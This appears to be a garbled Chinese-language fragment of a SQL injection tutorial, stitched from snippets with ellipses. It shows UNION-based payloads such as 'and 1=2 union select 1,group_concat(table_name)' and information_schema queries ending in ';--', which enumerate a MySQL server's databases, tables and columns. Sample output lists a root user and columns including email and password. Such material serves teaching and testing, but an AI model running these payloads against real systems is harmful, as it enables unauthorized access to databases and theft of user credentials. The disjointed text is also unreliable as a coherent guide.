tables表table_name字段中、查表名我们主要用到的是TABLES表
group_concat
and 1=2 union select 1,group_concat(table_name),...字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。...,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--用;--注释了后面的语句,可以获取所有的数据库名...,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库
information_schema
inject
mysql
performance_schema...where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段
idusers
name
email
password
ua
ref
host
lang